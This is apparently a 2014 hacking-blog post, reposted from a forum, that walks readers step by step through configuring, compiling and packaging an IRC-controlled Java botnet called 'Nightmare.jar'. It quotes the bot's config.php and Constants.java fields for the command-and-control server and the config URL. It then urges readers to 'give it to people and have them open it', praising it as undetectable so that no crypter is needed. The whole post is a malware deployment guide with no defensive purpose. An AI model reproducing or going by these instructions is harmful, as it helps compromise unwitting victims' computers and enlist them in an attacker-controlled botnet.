Latest Updates

Monday, 18 August 2014

Java Botnet setup fully explained

Back when i first herd about a Java FUD botnet i was AMAZED at how many people could NOT get it working and can still NOT get it working.
I am going to explain STEP by STEP on how to get your computer setup for this expedition and how to edit the files and compile the Java botnet.

First off you need the source right?
Download that HERE!

After you Download the source extract it to your desktop or any directory of your choice using either WinRar or 7zip.
You can download WinRar here and 7zip here.

Now that all that is done, we can start having some real fun.
Go into the JAva_Botnet folder and open the file "config.php"
Inside you see exactly this...
Quote:SERVER: IRC_SERVER</br>PORT: 6667</br>IN_CHANNEL: #IRC_CHANNEL</br>OUT_CHANNEL: #IRC_CHANNEL</br>IN_PASSWORD: OPTIONAL</br>OUT_PASSWORD: OPTIONAL</br>NICK: [B0T]</br>CONTROLLERS: name, users, like, this</br>
You first want to edit this section of the code.
Quote:SERVER: IRC_SERVER</br>
Change the "IRC_SERVER" text to your IRC servers host.

You want to leave this part alone unless the port of your server is not the default 6667.
Quote:PORT: 6667</br>
Change the "6667" to your IRC servers port.

Now you want to edit this section of the code.
Quote:IN_CHANNEL: #IRC_CHANNEL</br>
Change the "IRC_CHANNEL" text to your IRC channel.

Then edit this code just like the previous step.
Quote:OUT_CHANNEL: #IRC_CHANNEL</br>
Change the "IRC_CHANNEL" text to your IRC channel.

Next edit this part of the code.
Quote:IN_PASSWORD: OPTIONAL</br>
This part is optional, you can either change the OPTIONAL text to any password of your choice or just delete it and leave a space before the </br> and after the : This is nothing serious and not needed for the bot to run.

Now edit this part of the code.
Quote:OUT_PASSWORD: OPTIONAL</br>
This part is EXACTLY like above. Either leave it blank or put in a password.

This part of the code can be left as is.
Quote:NICK: [B0T]</br>
This is the name of the bot when it joins the IRC channel followed by numbers randomly picked by the bot on startup.

Finally this part of the code must be edited.
Quote:CONTROLLERS: name, users, like, this</br>
Where it says "name, users, like, this" it means that only THESE usernames are allowed to send commands to the bot. If their is only one operator of the bot then just put the username that you use in IRC without a comma ",".

Now you can save and close that config.php.
You want to upload this to a FTP (file transfer protocol) server. I'm going to say this once DO NOT UPLOAD TO A FILE HOSTING WEBSITE IT WILL NOT WORK!

Now open Constants.java in notepad.
You will see this text EXACTLY.
Quote:class Constants {

public static final double BOT_VERSION = 1.0;

public static final String MAIN_HOST = "Main irc host";//Edit this.

public static final String CONF_URL = "config.php URL";//Edit NEEDED

public static final String BACKUP_HOST = "BACKUP IRC SERVER";//Not needed, but recommended.

public static final String CONF_URL_BACKUP = "CONFIG.PHP URL 2";//Recommended.

public static final String IP_ADDR_URL = "http://whatismyip.com/automation/n09230945.asp";
//Leave that as it is.

public static final int FILE_SERVER_DEFAULT_PORT = 3943;//Leave this.

public static final String INI_FILE_LOC = "C:\\Program Files\\win32.ini";
}
The only part of this file that needs to be edited is this here
Quote:public static final String CONF_URL = "config.php URL";//Edit NEEDED
You want to remove the text "config.php URL" and put in the URL of the config.php file you uploaded to a FTP (file transfer protocol).
Example is http://yourdomain.com/config.php

Save and exit the file.
You are now done editing your bot here is the fun part!

You MUST i repeat MUST have JDK (Java Development Kit) installed!
You can downlaod JDK 6 update 14 here

After you have downloaded and installed JDK go into the Java_Botnet folder and double click "Java to Class.exe"
Follow the instructions that are given in the program.

After you have SUCESSFULLY compiled the Java files to Class files you need to make sure that there are the same number of Class files as Java files in the Java_Botnet folder.

Next you double click "JARMaker.exe" and follow the instructions that are given in the program.

If you Did everything right, there should now be a file in the Java_Botnet folder named "Nightmare.jar"

Open the .jar file and see if it connects to your IRC, if not go back and make sure everything is correct.

To remove your botnet go into start > run > msconfig > startup > Nightmare.jar and remove and click apply. That will stop the botnet running. In IRC double click to open a private chat between you and the botnet and do the command ".exit" Then you have removed yourself from the botnet.

GUESS WHAT?!

Thats right there is YOUR Java BOTNET!!
All you have to do is give it to people and have them open it. Easy as that.

Your all setup with a Java botnet and it only took what? an hour to read.
Oh well atleast you have a FUD botnet now and dont need to worry about buying crypters and silly shit like that.

If ANYONE at all realizes that i left something out or would like to comment on this tutorial please feel free to post.

Thank you for reading my tutorial!

Rep if possible, thanx
  • Blogger Comments
  • Facebook Comments

0 comments:

Post a Comment

Item Reviewed: Java Botnet setup fully explained Description: Rating: 5 Reviewed By: AJAY DEVGAN
Scroll to Top